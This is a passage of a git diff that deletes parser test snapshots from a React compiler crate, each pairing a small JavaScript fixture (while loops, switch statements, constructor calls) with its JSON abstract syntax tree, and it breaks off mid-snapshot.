--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while.js.snap
+++ /dev/null
@@ -1,222 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-while.js
----
-Input:
-function foo() {
-  let x = 1;
-  while (x < 10) {
-    x = x + 1;
-  }
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  39,
-                  40
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  43,
-                  45
-                ]
-              },
-              "loc": null,
-              "range": [
-                39,
-                45
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    },
-                    "right": {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          58
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          61,
-                          62
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        57,
-                        62
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      53,
-                      62
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    63
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                67
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              67
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                78,
-                79
-              ]
-            },
-            "loc": null,
-            "range": [
-              71,
-              80
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          82
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        82
-      ],
-      "loc": null,
-      "range": [
-        0,
-        82
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    82
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-call.js.snap
deleted file mode 100644
index 18378b5291e5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-call.js.snap
+++ /dev/null
@@ -1,224 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/store-via-call.js
----
-Input:
-function foo() {
-  const x = {};
-  const y = foo(x);
-  y.mutate();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        49,
-                        50
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    45,
-                    51
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  51
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              52
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "mutate",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    63
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  55,
-                  63
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                55,
-                65
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              55,
-              66
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                76,
-                77
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              78
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          80
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        80
-      ],
-      "loc": null,
-      "range": [
-        0,
-        80
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    80
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-new.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-new.js.snap
deleted file mode 100644
index 49a3746f3f91..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@store-via-new.js.snap
+++ /dev/null
@@ -1,224 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/store-via-new.js
----
-Input:
-function Foo() {
-  const x = {};
-  const y = new Foo(x);
-  y.mutate();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      49,
-                      52
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    45,
-                    55
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  55
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "mutate",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    67
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  67
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                59,
-                69
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                80,
-                81
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
-              82
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          84
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        84
-      ],
-      "loc": null,
-      "range": [
-        0,
-        84
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    84
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-global-propertyload-case-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-global-propertyload-case-test.js.snap
deleted file mode 100644
index 499e0293a76b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-global-propertyload-case-test.js.snap
+++ /dev/null
@@ -1,220 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/switch-global-propertyload-case-test.js
----
-Input:
-function Component(props) {
-  switch (props.value) {
-    case Global.Property: {
-      return true;
-    }
-    default: {
-      return false;
-    }
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  38,
-                  43
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "value",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  44,
-                  49
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                38,
-                49
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "Global",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      62,
-                      68
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "Property",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      77
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    62,
-                    77
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "BooleanLiteral",
-                          "value": true,
-                          "loc": null,
-                          "range": [
-                            94,
-                            98
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          87,
-                          99
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      79,
-                      105
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  57,
-                  105
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "BooleanLiteral",
-                          "value": false,
-                          "loc": null,
-                          "range": [
-                            134,
-                            139
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          127,
-                          140
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      119,
-                      146
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  110,
-                  146
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              150
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          152
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        152
-      ],
-      "loc": null,
-      "range": [
-        0,
-        152
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    152
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-non-final-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-non-final-default.js.snap
deleted file mode 100644
index 582c0fcc9a48..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-non-final-default.js.snap
+++ /dev/null
@@ -1,763 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/switch-non-final-default.js
----
-Input:
-function Component(props) {
-  let x = [];
-  let y;
-  switch (props.p0) {
-    case 1: {
-      break;
-    }
-    case true: {
-      x.push(props.p2);
-      y = [];
-    }
-    default: {
-      break;
-    }
-    case false: {
-      y = x;
-      break;
-    }
-  }
-  const child = <Component data={x} />;
-  y.push(props.p4);
-  return <Component data={y}>{child}</Component>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              50
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  61,
-                  66
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p0",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  67,
-                  69
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                61,
-                69
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          99
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      85,
-                      105
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  77,
-                  105
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BooleanLiteral",
-                  "value": true,
-                  "loc": null,
-                  "range": [
-                    115,
-                    119
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                129,
-                                130
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                131,
-                                135
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              129,
-                              135
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  136,
-                                  141
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "p2",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  142,
-                                  144
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                136,
-                                144
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            129,
-                            145
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          129,
-                          146
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              153,
-                              154
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              157,
-                              159
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            153,
-                            159
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          153,
-                          160
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      121,
-                      166
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  110,
-                  166
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          188,
-                          194
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      180,
-                      200
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  171,
-                  200
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BooleanLiteral",
-                  "value": false,
-                  "loc": null,
-                  "range": [
-                    210,
-                    215
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              225,
-                              226
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              229,
-                              230
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            225,
-                            230
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          225,
-                          231
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          238,
-                          244
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      217,
-                      250
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  205,
-                  250
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              254
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "child",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    263,
-                    268
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        272,
-                        281
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "data",
-                          "loc": null,
-                          "range": [
-                            282,
-                            286
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              288,
-                              289
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            287,
-                            290
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          282,
-                          290
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      271,
-                      293
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    271,
-                    293
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  263,
-                  293
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              257,
-              294
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    297,
-                    298
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    299,
-                    303
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  297,
-                  303
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      304,
-                      309
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p4",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      310,
-                      312
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    304,
-                    312
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                297,
-                313
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              297,
-              314
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    325,
-                    334
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "data",
-                      "loc": null,
-                      "range": [
-                        335,
-                        339
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          341,
-                          342
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        340,
-                        343
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      335,
-                      343
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  324,
-                  344
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "child",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      345,
-                      350
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    344,
-                    351
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    353,
-                    362
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  351,
-                  363
-                ]
-              },
-              "loc": null,
-              "range": [
-                324,
-                363
-              ]
-            },
-            "loc": null,
-            "range": [
-              317,
-              364
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          366
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        366
-      ],
-      "loc": null,
-      "range": [
-        0,
-        366
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    366
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-with-fallthrough.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-with-fallthrough.js.snap
deleted file mode 100644
index 72ea591006d9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch-with-fallthrough.js.snap
+++ /dev/null
@@ -1,579 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/switch-with-fallthrough.js
----
-Input:
-function foo(x) {
-  let y;
-  switch (x) {
-    case 0: {
-      y = 0;
-    }
-    case 1: {
-      y = 1;
-    }
-    case 2: {
-      break;
-    }
-    case 3: {
-      y = 3;
-      break;
-    }
-    case 4: {
-      y = 4;
-    }
-    case 5: {
-      y = 5;
-    }
-    default: {
-      y = 0;
-    }
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    24,
-                    25
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  24,
-                  25
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              26
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                37,
-                38
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
